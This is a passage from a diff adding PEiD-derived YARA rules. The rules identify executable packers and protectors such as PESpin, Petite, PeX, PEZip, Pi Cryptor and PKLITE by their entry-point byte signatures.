4C 40 00 EB 07 FA EB 01 FF EB 04 E3 EB F8 69 8B 59 38 03 DA 8B 3B 89 BD 90 4F 40 00 8D 5B 04 8B 1B 89 9D 95 4F 40 00 E8 00 00 00 00 58 01 68 05 68 D3 65 0F E2 B8 77 CE 2F B1 35 73 CE 2F B1 03 E0 F7 D8 81 2C 04 13 37 CF E1 FF 64 24 FC FF 25 10 BB ?? 00 00 00 B9 84 12 00 00 8D BD C6 4F 40 00 4F EB 07 FA EB 01 FF EB 04 E3 EB F8 69 30 1C 39 FE CB 49 9C EB 04 01 EB 04 CD EB FB 2B C1 2C 24 06 F7 14 24 83 24 24 01 50 52 B8 79 B2 DC 12 05 44 4D 23 ED F7 64 24 08 8D 84 28 20 2F 40 00 89 44 24 08 5A 58 8D 64 24 04 FF 64 24 FC FF EA EB EB 01 C8 E8 01 00 00 00 68 58 FE 48 1F 0F 84 94 02 00 00 75 01 9A 81 70 03 E8 98 68 EA 83 C0 21 80 40 FB EB A2 40 02 00 E0 91 32 68 CB 00 00 00 59 8D BD 7E 61 40 00 E8 03 00 00 00 EB 04 FA EB FB 68 83 04 24 0C C3 8D C0 0C 39 02 49 9C E8 03 00 00 00 EB 04 8D EB FB FF 83 04 24 0C C3 A3 C1 2C 24 06 F7 14 24 83 24 24 01 50 52 B8 61 B2 DC 12 05 44 4D 23 ED F7 64 24 08 8D 84 28 B2 2F 40 00 89 44 24 08 5A 58 8D 64 24 04 FF 64 24 FC 9A}
+    condition:
+        $a
+}
+
+rule PEiD_01659_PESpin_v1_304____Cyberbob_
+{
+    meta:
+        description = "[PESpin v1.304 -> Cyberbob]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 88 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+    condition:
+        $a
+}
+rule PEiD_01660_PESpin_v1_3beta____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin v1.3beta -> Cyberbob (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 71 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 ?? 4E 40 00 8B 42 3C 03 C2 89 85 ?? 4E 40 00 EB 02 12 77 F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 0F F5 73 11 EB 06 9A 72 ED 1F EB 07 F5 72 0E F5 72 F8 68 EB EC 83 04 24 07 F5 FF 34 24 C3 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D ?? 4E 40 00 53 8F 85 ?? 4C 40 00 EB 07 FA EB 01 FF EB 04 E3 EB F8 69 8B 59 38 03 DA 8B 3B 89 BD ?? 4F 40 00 8D 5B 04 8B 1B 89 9D ?? 4F 40 00 E8 00 00 00 00 58 01 68 05 68 BC 65 0F E2 B8 77 CE 2F B1 35 73 CE 2F B1 03 E0 F7 D8 81 2C 04 13 37 CF E1 FF 64 24 FC FF 25 10 BB ?? 00 00 00 B9 84 12 00 00 8D BD ?? 4F 40 00 4F EB 07 FA EB 01 FF EB 04 E3 EB F8 69 30 1C 39 FE CB 49 9C}
+    condition:
+        $a
+}
+
+rule PEiD_01661_PEStubOEP_v1_x_
+{
+    meta:
+        description = "[PEStubOEP v1.x]"
+        ep_only = "false"
+    strings:
+        $a = {40 48 BE 00 ?? ?? 00 40 48 60 33 C0 B8 ?? ?? ?? 00 FF E0 C3 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01662_PeStubOEP_v1_x_
+{
+    meta:
+        description = "[PeStubOEP v1.x]"
+        ep_only = "false"
+    strings:
+        $a = {90 33 C9 33 D2 B8 ?? ?? ?? 00 B9 FF}
+    condition:
+        $a
+}
+
+rule PEiD_01663_PeStubOEP_v1_x_
+{
+    meta:
+        description = "[PeStubOEP v1.x]"
+        ep_only = "false"
+    strings:
+        $a = {E8 05 00 00 00 33 C0 40 48 C3 E8 05}
+    condition:
+        $a
+}
+
+rule PEiD_01664_Petite_1_2_____c_1998_Ian_Luck__h__
+{
+    meta:
+        description = "[Petite 1.2 -> (c)1998 Ian Luck (h)]"
+        ep_only = "true"
+    strings:
+        $a = {66 9C 60 E8 CA 00 00 00 03 00 04 00 05 00 06 00 07 00 08 00 09 00 0A 00 0B 00 0D 00 0F 00 11 00 13 00 17 00 1B 00 1F 00 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 83 00 A3 00 C3 00 E3 00 02 01 00 00 00 00 00 00 00 00 00 00 00 00 01 01 01 01 02 02 02 02 03 03 03 03 04 04 04 04 05 05 05 05 00 70 70 01 00 02 00 03 00 04 00 05 00 07 00 09 00 0D 00 11 00 19 00 21 00 31 00 41 00 61 00 81 00 C1 00 01 01 81 01 01 02 01 03 01 04 01 06 01 08 01 0C 01 10 01 18 01 20 01 30 01 40 01 60 00 00 00 00 01 01 02 02 03 03 04 04 05 05 06 06 07 07 08 08 09 09 0A 0A 0B 0B 0C 0C 0D 0D 10 11 12 00 08 07 09 06 0A 05 0B 04 0C 03 0D 02 0E 01 0F 58 2C 08 50 8B C8 8B D0 81 C1 ?? D2 00 00 81 C2 ?? ?? 00 00 89 20 8B E1 50 81 2C 24 00 ?? ?? ?? FF 30 50 80 04 24}
+    condition:
+        $a
+}
+
+rule PEiD_01665_Petite_1_2_____c_1998_Ian_Luck_
+{
+    meta:
+        description = "[Petite 1.2 -> (c)1998 Ian Luck]"
+        ep_only = "true"
+    strings:
+        $a = {66 9C 60 E8 CA 00 00 00 03 00 04 00 05 00 06 00 07 00 08 00 09 00 0A 00 0B 00 0D 00 0F 00 11 00 13 00 17 00 1B 00 1F 00 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 83 00 A3 00 C3 00 E3 00 02 01 00 00 00 00 00 00 00 00 00 00 00 00 01 01 01 01 02 02 02}
+    condition:
+        $a
+}
+
+rule PEiD_01666_Petite_1_2_
+{
+    meta:
+        description = "[Petite 1.2]"
+        ep_only = "true"
+    strings:
+        $a = {66 9C 60 E8 CA 00 00 00 03 00 04 00 05 00 06 00 07 00 08 00}
+    condition:
+        $a
+}
+
+rule PEiD_01667_Petite_1_3_____c_1998_Ian_Luck__h__
+{
+    meta:
+        description = "[Petite 1.3 -> (c)1998 Ian Luck (h)]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? ?? ?? 9C 60 50 8D 88 00 ?? ?? ?? 8D 90 ?? ?? 00 00 8B DC 8B E1 68 00 00 ?? ?? 53 50 80 04 24 08 50 80 04 24 42 50 80 04 24 61 50 80 04 24 9D 50 80 04 24 BB 83 3A 00 0F 84 DA 14 00 00 8B 44 24 18 F6 42 03 80 74 19 FD 80 72 03 80 8B F0 8B F8 03 72 04 03 7A 08 8B 0A F3 A5 83 C2 0C FC EB D4 8B 7A 08 03 F8 8B 5A 04 85 DB 74 13 52 53 57 03 02 50 E8 7B 00 00 00 85 C0 74 2E 5F 5F 58 5A 8B 4A 0C C1 F9 02 F3 AB 8B 4A 0C 83 E1 03 F3 AA 83 C2 10 EB A0 45 52 52 4F 52 21 00 43 6F 72 72 75 70 74 20 44 61 74 61 21 00 8B 64 24 24 8B 04 24 83 C4 26 8B D0 66 81 C2 6D 01 6A 10 8B D8 66 05 66 01 50 52 6A 00 8B 13 FF 14 1A 6A FF FF 93 ?? ?? 00 00 56 57 8B 7C 24 0C 8B 74 24 10 8B 4C 24 14 C1 F9 02 F3 A5 8B 4C 24 14 83 E1 03 F3 A4 5F 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_01668_Petite_1_3_____c_1998_Ian_Luck_
+{
+    meta:
+        description = "[Petite 1.3 -> (c)1998 Ian Luck]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? ?? ?? 9C 60 50 8D 88 00 ?? ?? ?? 8D 90 ?? ?? 00 00 8B DC 8B E1 68 00 00 ?? ?? 53 50 80 04 24 08 50 80 04 24 42 50 80 04 24 61 50 80 04 24 9D 50 80 04 24 BB 83 3A 00 0F 84 DA 14 00 00 8B 44 24 18 F6 42 03 80 74 19 FD 80 72 03 80 8B F0 8B F8 03}
+    condition:
+        $a
+}
+rule PEiD_01669_Petite_1_3_
+{
+    meta:
+        description = "[Petite 1.3]"
+        ep_only = "false"
+    strings:
+        $a = {66 9C 60 50 8D 88 00 F0 00 00 8D 90 04 16 00 00 8B DC 8B E1}
+    condition:
+        $a
+}
+
+rule PEiD_01670_Petite_1_4_____c_1998_99_Ian_Luck__h__
+{
+    meta:
+        description = "[Petite 1.4 -> (c)1998-99 Ian Luck (h)]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? ?? 66 9C 60 50 8B D8 03 00 68 54 BC 00 00 6A 00 FF 50 14 8B CC 8D A0 54 BC 00 00 50 8B C3 8D 90 ?? 16 00 00 68 00 00 ?? ?? 51 50 80 04 24 08 50 80 04 24 42 50 80 04 24 61 50 80 04 24 9D 50 80 04 24 BB 83 3A 00 0F 84 D8 14 00 00 8B 44 24 18 F6 42 03 80 74 19 FD 80 72 03 80 8B F0 8B F8 03 72 04 03 7A 08 8B 0A F3 A5 83 C2 0C FC EB D4 8B 7A 08 03 F8 8B 5A 04 85 DB 74 13 52 53 57 03 02 50 E8 79 00 00 00 85 C0 74 30 5F 5F 58 5A 8B 4A 0C C1 F9 02 33 C0 F3 AB 8B 4A 0C 83 E1 03 F3 AA 83 C2 10 EB 9E 45 52 52 4F 52 21 00 43 6F 72 72 75 70 74 20 44 61 74 61 21 00 8B 64 24 24 8B 04 24 83 C4 26 8B D0 66 81 C2 7E 01 6A 10 8B D8 66 05 77 01 50 52 6A 00 03 1B FF 13 6A FF FF 53 08 56 57 8B 7C 24 0C 8B 74 24 10 8B 4C 24 14 C1 F9 02 F3 A5 8B 4C 24 14 83 E1 03 F3 A4 5F 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_01671_Petite_1_4_____c_1998_99_Ian_Luck_
+{
+    meta:
+        description = "[Petite 1.4 -> (c)1998-99 Ian Luck]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? ?? 66 9C 60 50 8B D8 03 00 68 54 BC 00 00 6A 00 FF 50 14 8B CC 8D A0 54 BC 00 00 50 8B C3 8D 90 ?? 16 00 00 68 00 00 ?? ?? 51 50 80 04 24 08 50 80 04 24 42 50 80 04 24 61 50 80 04 24 9D 50 80 04 24 BB 83 3A 00 0F 84 D8 14 00 00 8B 44 24 18 F6}
+    condition:
+        $a
+}
+
+rule PEiD_01672_Petite_1_4_
+{
+    meta:
+        description = "[Petite 1.4]"
+        ep_only = "false"
+    strings:
+        $a = {66 9C 60 50 8B D8 03 00 68 54 BC 00 00 6A 00 FF 50 14 8B CC}
+    condition:
+        $a
+}
+
+rule PEiD_01673_Petite_2_1_
+{
+    meta:
+        description = "[Petite 2.1]"
+        ep_only = "false"
+    strings:
+        $a = {64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 8B D8}
+    condition:
+        $a
+}
+
+rule PEiD_01674_Petite_2_2_____c_1998_99_Ian_Luck__h__
+{
+    meta:
+        description = "[Petite 2.2 -> (c)1998-99 Ian Luck (h)]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 68 00 00 ?? ?? 8B 3C 24 8B 30 66 81 C7 80 07 8D 74 06 08 89 38 8B 5E 10 50 56 6A 02 68 80 08 00 00 57 6A ?? 6A 06 56 6A 04 68 80 08 00 00 57 FF D3 83 EE 08 59 F3 A5 59 66 83 C7 68 81 C6 ?? ?? 00 00 F3 A5 FF D3 58 8D 90 B8 01 00 00 8B 0A 0F BA F1 1F 73 16 8B 04 24 FD 8B F0 8B F8 03 72 04 03 7A 08 F3 A5 83 C2 0C FC EB E2 83 C2 10 8B 5A F4 85 DB 74 D8 8B 04 24 8B 7A F8 03 F8 52 8D 34 01 EB 17 58 58 58 5A 74 C4 E9 1C FF FF FF 02 D2 75 07 8A 16 83 EE FF 12 D2 C3 81 FB 00 00 01 00 73 0E 68 60 C0 FF FF 68 60 FC FF FF B6 05 EB 22 81 FB 00 00 04 00 73 0E 68 80 81 FF FF 68 80 F9 FF FF B6 07 EB 0C 68 00 83 FF FF 68 00 FB FF FF B6 08 6A 00 32 D2 4B A4 33 C9 83 FB 00 7E A4 E8 AA FF FF FF 72 17 A4 30 5F FF 4B EB ED 41 E8 9B FF FF FF 13 C9 E8 94 FF FF FF 72 F2 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01675_Petite_2_2_____c_1998_99_Ian_Luck_
+{
+    meta:
+        description = "[Petite 2.2 -> (c)1998-99 Ian Luck]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 68 00 00 ?? ?? 8B 3C 24 8B 30 66 81 C7 80 07 8D 74 06 08 89 38 8B 5E 10 50 56 6A 02 68 80 08 00 00 57 6A ?? 6A 06 56 6A 04 68 80 08 00 00 57 FF D3 83 EE 08 59 F3 A5 59 66}
+    condition:
+        $a
+}
+
+rule PEiD_01676_PEtite_v1_2_
+{
+    meta:
+        description = "[PEtite v1.2]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 CA ?? ?? ?? 03 ?? 04 ?? 05 ?? 06 ?? 07 ?? 08}
+    condition:
+        $a
+}
+
+rule PEiD_01677_PEtite_v1_3_
+{
+    meta:
+        description = "[PEtite v1.3]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? ?? 66 9C 60 50 8D 88 ?? F0 ?? ?? 8D 90 04 16 ?? ?? 8B DC 8B E1 68 ?? ?? ?? ?? 53 50 80 04 24 08 50 80 04 24 42}
+    condition:
+        $a
+}
+
+rule PEiD_01678_PEtite_v1_4_
+{
+    meta:
+        description = "[PEtite v1.4]"
+        ep_only = "true"
+    strings:
+        $a = {66 9C 60 50 8B D8 03 ?? 68 54 BC ?? ?? 6A ?? FF 50 14 8B CC}
+    condition:
+        $a
+}
+
+rule PEiD_01679_PEtite_v1_4_
+{
+    meta:
+        description = "[PEtite v1.4]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? ?? 66 9C 60 50 8B D8 03 00 68 54 BC 00 00 6A 00 FF 50 14 8B CC}
+    condition:
+        $a
+}
+
+rule PEiD_01680_Petite_v1_4_
+{
+    meta:
+        description = "[Petite v1.4]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 66 9C 60 50 8B D8 03 00 68 ?? ?? ?? ?? 6A 00}
+    condition:
+        $a
+}
+
+rule PEiD_01681_PEtite_v2_0_
+{
+    meta:
+        description = "[PEtite v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 66 9C 60 50 8B D8 03 ?? 68 54 BC ?? ?? 6A ?? FF 50 18 8B CC 8D A0 54 BC ?? ?? 8B C3 8D 90 E0 15 ?? ?? 68}
+    condition:
+        $a
+}
+
+rule PEiD_01682_Petite_v2_1__1__
+{
+    meta:
+        description = "[Petite v2.1 (1)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 66 9C 60 50}
+    condition:
+        $a
+}
+
+rule PEiD_01683_Petite_v2_1__2__
+{
+    meta:
+        description = "[Petite v2.1 (2)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 66 9C 60 50}
+    condition:
+        $a
+}
+rule PEiD_01684_PEtite_v2_1_
+{
+    meta:
+        description = "[PEtite v2.1]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 66 9C 60 50}
+    condition:
+        $a
+}
+/*
+rule PEiD_01685_Petite_v2_2____www_un4seen_com_petite_
+{
+    meta:
+        description = "[Petite v2.2 -> www.un4seen.com/petite]"
+        ep_only = "false"
+    strings:
+        $a = {B8 00 ?0 4? 00 6? 00 ?? ?? 0? ?? ?? ?? ?? ?? 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01686_Petite_v2_2____www_un4seen_com_petite_
+{
+    meta:
+        description = "[Petite v2.2 -> www.un4seen.com/petite]"
+        ep_only = "true"
+    strings:
+        $a = {B8 00 ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00}
+    condition:
+        $a
+}
+*/
+rule PEiD_01687_PEtite_v2_2____www_un4seen_com_petite_
+{
+    meta:
+        description = "[PEtite v2.2 -> www.un4seen.com/petite]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 66 9C 60 50}
+    condition:
+        $a
+}
+rule PEiD_01688_Petite_v_____after_v1_4__
+{
+    meta:
+        description = "[Petite v?.? (after v1.4)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 66 9C 60 50 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 83}
+    condition:
+        $a
+}
+
+rule PEiD_01689_PEtite_vx_x_
+{
+    meta:
+        description = "[PEtite vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 66 9C 60 50}
+    condition:
+        $a
+}
+rule PEiD_01690_PeX_0_99__Eng_____bart_CrackPl_
+{
+    meta:
+        description = "[PeX 0.99 (Eng) -> bart/CrackPl]"
+        ep_only = "false"
+    strings:
+        $a = {E9 F5 00 00 00 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4}
+    condition:
+        $a
+}
+
+rule PEiD_01691_PeX_0_99____bart_CrackPl_
+{
+    meta:
+        description = "[PeX 0.99 -> bart^CrackPl]"
+        ep_only = "true"
+    strings:
+        $a = {E9 F5 ?? ?? ?? 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4}
+    condition:
+        $a
+}
+
+rule PEiD_01692_PeX_v0_99__Eng_____bart_CrackPl_
+{
+    meta:
+        description = "[PeX v0.99 (Eng) -> bart/CrackPl]"
+        ep_only = "true"
+    strings:
+        $a = {E9 F5 00 00 00 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 20 50 65 58 20 28 63 29 20 62 79 20 62 61 72 74 5E 43 72 61 63 6B 50 6C 20 62 65 74 61 20 72 65 6C 65 61 73 65 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 60 E8 01 00 00}
+    condition:
+        $a
+}
+rule PEiD_01693_pex_V0_99____params_
+{
+    meta:
+        description = "[pex V0.99 -> params]"
+        ep_only = "true"
+    strings:
+        $a = {E9 F5 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01694_PEX_v0_99_
+{
+    meta:
+        description = "[PEX v0.99]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 ?? ?? ?? ?? 83 C4 04 E8 01 ?? ?? ?? ?? 5D 81}
+    condition:
+        $a
+}
+
+rule PEiD_01695_PEZip_1_0_by_BaGIE_
+{
+    meta:
+        description = "[PEZip 1.0 by BaGIE]"
+        ep_only = "false"
+    strings:
+        $a = {D9 D0 F8 74 02 23 DB F5 F5 50 51 52 53 8D 44 24 10 50 55 56 57 D9 D0 22 C9 C1 F7 A0 55 66 C1 C8 B0 5D 81 E6 FF FF FF FF F8 77 07 52 76 03 72 01 90 5A C1 E0 60 90 BD 1F 01 00 00 87 E8 E2 07 E3 05 17 5D 47 E4 42 41 7F 06 50 66 83 EE 00 58 25 FF FF FF FF 51}
+    condition:
+        $a
+}
+
+rule PEiD_01696_PEZip_v1_0_by_BaGIE_
+{
+    meta:
+        description = "[PEZip v1.0 by BaGIE]"
+        ep_only = "false"
+    strings:
+        $a = {D9 D0 F8 74 02 23 DB F5 F5 50 51 52 53 8D 44 24 10 50 55 56 57 D9 D0 22 C9 C1 F7 A0 55 66 C1 C8 B0 5D 81 E6 FF FF FF FF F8 77 07 52 76 03 72 01 90 5A C1 E0 60 90 BD 1F 01 00 00 87 E8 E2 07 E3 05 17 5D 47 E4 42 41 7F 06 50 66 83 EE 00 58 25 FF FF FF FF 51 0F B6 C9 66 83 F6 00 3D CB 60 47 92 50 40 58 FC E2 EE 59 F8 7C 08 53 74 04 78 02 84 C9 5B 66 0B ED F8 F5 BA 9F FA FF FF 52 57 77 04 78 02 84 E4 5F 5A 50 80 EF 00 58 50 81 E0 FF FF FF FF 58 3C EF FC 7A 05 3D DF DA AC D1 05 00 00 00 00 73 05 71 03 7E 01 90 EB 02 EB 05 E8 F9 FF FF FF 83 C0 00 7B 06 53 66 BB 74 EF 5B F8 8B 3C 24 83 C4 04 51 0F B6 C9 66 C1 C7 30 0B D2 53 66 83 FD F6 5B 55 6A 97 83 C4 04 5D E2 E8 59 53 55 51 66 83 E9 00 59 5D 5B F8 01 FA 22 C9 7A 02 8D 3F 79 08 71 06 52 66 A9 6E E3 5A 51 0F B6}
+    condition:
+        $a
+}
+rule PEiD_01697_PGMPACK_v0_13_
+{
+    meta:
+        description = "[PGMPACK v0.13]"
+        ep_only = "true"
+    strings:
+        $a = {FA 1E 17 50 B4 30 CD 21 3C 02 73 ?? B4 4C CD 21 FC BE ?? ?? BF ?? ?? E8 ?? ?? E8 ?? ?? BB ?? ?? BA ?? ?? 8A C3 8B F3}
+    condition:
+        $a
+}
+
+rule PEiD_01698_PGMPACK_v0_14_
+{
+    meta:
+        description = "[PGMPACK v0.14]"
+        ep_only = "true"
+    strings:
+        $a = {1E 17 50 B4 30 CD 21 3C 02 73 ?? B4 4C CD 21 FC BE ?? ?? BF ?? ?? E8 ?? ?? E8 ?? ?? BB ?? ?? BA ?? ?? 8A C3 8B F3}
+    condition:
+        $a
+}
+
+rule PEiD_01699_Phoenix_Protector_v1_0_v1_1____NTCore_com_
+{
+    meta:
+        description = "[Phoenix Protector v1.0/v1.1 -> NTCore.com]"
+        ep_only = "true"
+    strings:
+        $a = {02 6F ?? ?? ?? 0A 0A 06 8D ?? ?? ?? 01 0B 16 0C 38 36 00 00 00 02 08 6F ?? ?? ?? 0A 0D 09 06 08 59 61 D2 13 04 09 1E 63 08 61 D2 13 05 07 08 11 05 1E 62 11 04 60 D1 9D 08 17 58 0C 08 07 8E 69 38 0B 00 00 00 28 ?? ?? ?? 0A 2A 38 EC FF FF FF 3F C0 FF FF FF}
+    condition:
+        $a
+}
+rule PEiD_01700_Phonebook_configuration_file_Version__v3__v4_
+{
+    meta:
+        description = "[Phonebook configuration file Version %v3.%v4]"
+        ep_only = "false"
+    strings:
+        $a = {50 68 6F 6E 65 62 6F 6F 6B ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 63 6F}
+    condition:
+        $a
+}
+
+rule PEiD_01701_Pi_Cryptor_1_0___by_Scofield_
+{
+    meta:
+        description = "[Pi Cryptor 1.0 - by Scofield]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 56 57 31 C0 89 45 EC B8 40 1E 06 00 E8 48 FA FF FF 33 C0 55 68 36 1F 06 00 64 FF 30 64 89 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 31 C0 E8 4E F4 FF FF 8B 45 EC E8 F6 F7 FF FF 50 E8 CC FA FF FF 8B D8 83 FB FF}
+    condition:
+        $a
+}
+rule PEiD_01702_Pi_Cryptor_1_0___by_Scofield_
+{
+    meta:
+        description = "[Pi Cryptor 1.0 - by Scofield]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 56 57 31 C0 89 45 EC B8 40 1E 06 00 E8 48 FA FF FF 33 C0 55 68 36 1F 06 00 64 FF 30 64 89 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 31 C0 E8 4E F4 FF FF 8B 45 EC E8 F6 F7 FF FF 50 E8 CC FA FF FF 8B D8 83 FB FF 74 4E 6A 00 53 E8 CD FA FF FF 8B F8 81 EF AC 26 00 00 6A 00 6A 00 68 AC 26 00 00 53 E8 DE FA FF FF 89 F8 E8 E3 F1 FF FF 89 C6 6A 00 68 28 31 06 00 57 56 53 E8 AE FA FF FF 53 E8 80 FA FF FF 89 FA 81 EA 72 01 00 00 8B C6 E8 55 FE FF FF 89 C6 89 F0 09 C0 74 05 E8 A8 FB FF FF 31 C0}
+    condition:
+        $a
+}
+
+rule PEiD_01703_Pi_Cryptor_1_0___by_Scofield_
+{
+    meta:
+        description = "[Pi Cryptor 1.0 - by Scofield]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 56 57 31 C0 89 45 EC B8 40 1E 06 00 E8 48 FA FF FF 33 C0 55 68 36 1F 06 00 64 FF 30 64 89 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 31 C0 E8 4E F4 FF FF 8B 45 EC E8 F6 F7 FF FF 50 E8 CC FA FF FF 8B D8 83 FB FF 74 4E 6A 00 53 E8 CD FA FF FF 8B F8 81 EF AC 26 00 00 6A 00 6A 00 68 AC 26 00 00 53 E8 DE FA FF FF 89 F8 E8 E3 F1 FF FF 89 C6 6A 00 68 28 31 06 00 57 56 53 E8 AE FA FF FF 53 E8 80 FA FF FF 89 FA 81 EA 72 01 00 00 8B C6 E8 55 FE FF FF 89 C6 89 F0 09 C0 74 05 E8 A8 FB FF FF 31 C0 5A 59 59 64 89 10 68 3D 1F 06 00 8D 45 EC E8 C3 F6 FF FF C3}
+    condition:
+        $a
+}
+
+rule PEiD_01704_Pi_Cryptor_1_0___by_Scofield_
+{
+    meta:
+        description = "[Pi Cryptor 1.0 - by Scofield]"
+        ep_only = "false"
+    strings:
+        $a = {89 55 F8 BB 01 00 00 00 8A 04 1F 24 0F 8B 55 FC 8A 14 32 80 E2 0F 32 C2 8A 14 1F 80 E2 F0 02 D0 88 14 1F 46 8D 45 F4 8B 55 FC E8 ?? ?? ?? ?? 8B 45 F4 E8 ?? ?? ?? ?? 3B F0 7E 05 BE 01 00 00 00 43 FF 4D F8 75 C2 ?? ?? ?? ?? 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 F4 E8 ?? ?? ?? ?? C3 E9}
+    condition:
+        $a
+}
+rule PEiD_01705_PIRIT_v1_5_
+{
+    meta:
+        description = "[PIRIT v1.5]"
+        ep_only = "true"
+    strings:
+        $a = {B4 4D CD 21 E8 ?? ?? FD E8 ?? ?? B4 51 CD 21}
+    condition:
+        $a
+}
+
+rule PEiD_01706_PKLITE_v1_00__v1_03_
+{
+    meta:
+        description = "[PKLITE v1.00, v1.03]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? BA ?? ?? 8C DB 03 D8 3B}
+    condition:
+        $a
+}
+
+rule PEiD_01707_PKLITE_v1_00c__1__
+{
+    meta:
+        description = "[PKLITE v1.00c (1)]"
+        ep_only = "true"
+    strings:
